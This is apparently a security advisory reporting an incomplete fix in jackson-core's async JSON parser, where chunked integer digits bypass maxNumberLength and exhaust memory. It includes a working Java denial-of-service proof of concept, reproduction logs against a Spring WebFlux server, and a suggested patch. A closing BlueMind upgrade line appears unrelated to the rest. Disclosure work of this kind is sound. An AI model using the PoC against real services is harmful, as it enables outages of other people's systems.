Resolved
GHSA-r7wm-3cxj-wff9
## Summary
The fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller".
As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).
This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.
## Affected versions
Verified on the patched releases:
- `com.fasterxml.jackson.core:jackson-core` **2.18.6**
- `com.fasterxml.jackson.core:jackson-core` **2.21.1**
Structurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.
## Affected code
[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.
### Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330:
```java
if (outPtr >= outBuf.length) {
// NOTE: must expand to ensure contents all in a single buffer (to keep
// other parts of parsing simpler)
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr)
}
```
### Site 2 — `_finishNumberIntegralPart` lines 1691-1727:
```java
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr + negMod)
}
int ch = getByteFromBuffer(_inputPtr) & 0xFF;
if (ch < INT_0) {
if (ch == INT_PERIOD) {
_setIntLength(outPtr+negMod); // <-- validated here
++_inputPtr;
return _startFloat(outBuf, outPtr, ch);
}
break;
}
if (ch > INT_9) {
if ((ch | 0x20) == INT_e) {
_setIntLength(outPtr+negMod); // <-- validated here
++_inputPtr;
return _startFloat(outBuf, outPtr, ch);
}
break;
}
++_inputPtr;
if (outPtr >= outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
}
_setIntLength(outPtr+negMod); // <-- validated here
_textBuffer.setCurrentLength(outPtr);
return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}
```
The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.
### Compare with the fraction path that is correct
`_finishFloatFraction` lines 1827-1838:
```java
while (loop) {
if (ch >= INT_0 && ch <= INT_9) {
++fractLen;
if (outPtr >= outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (_inputPtr >= _inputEnd) {
_textBuffer.setCurrentLength(outPtr);
_setFractLength(fractLen); // <-- VALIDATED
return JsonToken.NOT_AVAILABLE;
}
ch = getNextSignedByteFromBuffer();
}
...
}
```
## Impact
Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.
The synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected — those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.
CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.
## Proof of concept
Standalone PoC, no Maven required:
```
mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;
public class PoC {
public static void main(String[] args) throws Exception {
StreamReadConstraints strict = StreamReadConstraints.builder()
.maxNumberLength(1000)
.build();
JsonFactory f = new JsonFactoryBuilder()
.streamReadConstraints(strict)
.build();
// Sanity: synchronous parser rejects 5000-digit int.
try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
while (p.nextToken() != null) { /* drive */ }
System.out.println("[-] BUG ABSENT: sync parser accepted");
return;
} catch (Exception e) {
System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
}
// Bug: async parser, chunked, no terminator.
JsonParser ap = f.createNonBlockingByteArrayParser();
ByteArrayFeeder feeder = (ByteArrayFeeder) ap;
byte[] preamble = "{\"v\":".getBytes("UTF-8");
feeder.feedInput(preamble, 0, preamble.length);
while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }
byte[] digits = new byte[16 * 1024];
for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));
for (int c = 0; c < 600; c++) {
feeder.feedInput(digits, 0, digits.length);
JsonToken t = ap.nextToken();
if (t != JsonToken.NOT_AVAILABLE) {
System.out.println("[-] unexpected token: " + t);
return;
}
}
System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");
// Closing the number now finally triggers the validator.
feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
feeder.endOfInput();
try {
while (ap.nextToken() != null) { /* drive */ }
} catch (Exception e) {
System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
}
ap.close();
}
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC
```
Observed output against `jackson-core-2.18.6`:
```
[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)
```
Observed output against `jackson-core-2.21.1`: identical.
The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.
## End-to-end reproduction through real HTTP
Supplements the standalone PoC with a running Spring Boot WebFlux server,
driving the same bug through the actual reactor-netty + Jackson2JsonDecoder
streaming-decode path that production reactive endpoints use.
Setup:
- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
- jackson-databind 2.17.2, jackson-core overridden:
- VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)
- PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch
- JVM: OpenJDK 17.0.18
- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`
Endpoint under test exposes the `Flux<DataBuffer>` request body directly to
`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one
HTTP chunk per `feedInput` (the same pattern used for any
`@RequestBody Flux<...>` / streaming JSON decoder in WebFlux). A raw-socket
HTTP/1.1 chunked client streams `{"v":1` then 250 chunks of 200 digit bytes
each (50,000 digits total) at 20ms intervals, then writes the closing `}`.
VULN — jackson-core 2.18.7:
```
[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
Number value length (50000) exceeds the maximum allowed (1000, ...)
```
Server-side controller trace (250 DataBuffer arrivals elided):
```
[ctrl] DataBuffer arrived size=6 ms=39 <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1 ms=6518 <- closing '}'
[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...
```
Server held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with
`maxNumberLength=1000` declared. The validator never fires during streaming;
it only fires at value-completion when the closing `}` arrives.
PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):
```
[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream
```
Server-side controller trace:
```
[ctrl] DataBuffer arrived size=6 ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)
```
Patched server raises `StreamConstraintsException` at 155ms after only 5
DataBuffers, exactly when the accumulated digit count crosses
`maxNumberLength=1000`. The connection is reset mid-stream rather than the
parser silently consuming the rest of the attacker's payload.
Side-by-side:
| Build | Chunks accepted before exception | Digits buffered | Time to detection |
|---|---|---|---|
| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator |
| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |
Note on the default `@RequestBody Mono<JsonNode>` path: that path cannot
distinguish the two builds because Spring's `decodeToMono` joins all
DataBuffers into one before parsing. The exploitable shape is the
streaming-decode path (`Flux<JsonNode>` / `@RequestBody Flux<...>` /
WebSocket / SSE / any direct `decoder.decode(Flux<DataBuffer>, ...)` call),
which is also what `Jackson2Tokenizer` uses for any streaming JSON
deserialization in WebFlux and Quarkus reactive REST.
## Suggested fix
Mirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:
```diff
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);
return _updateTokenToNA();
}
```
Note: `_setIntLength` itself can't be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.
Apply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).
Alternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr < maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.
## Credit
Reported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.
BlueMind's recommandationFixed in version 5.7.3, 5.6.6, 5.5.18 and 5.4.12 of BlueMind. Please upgrade.
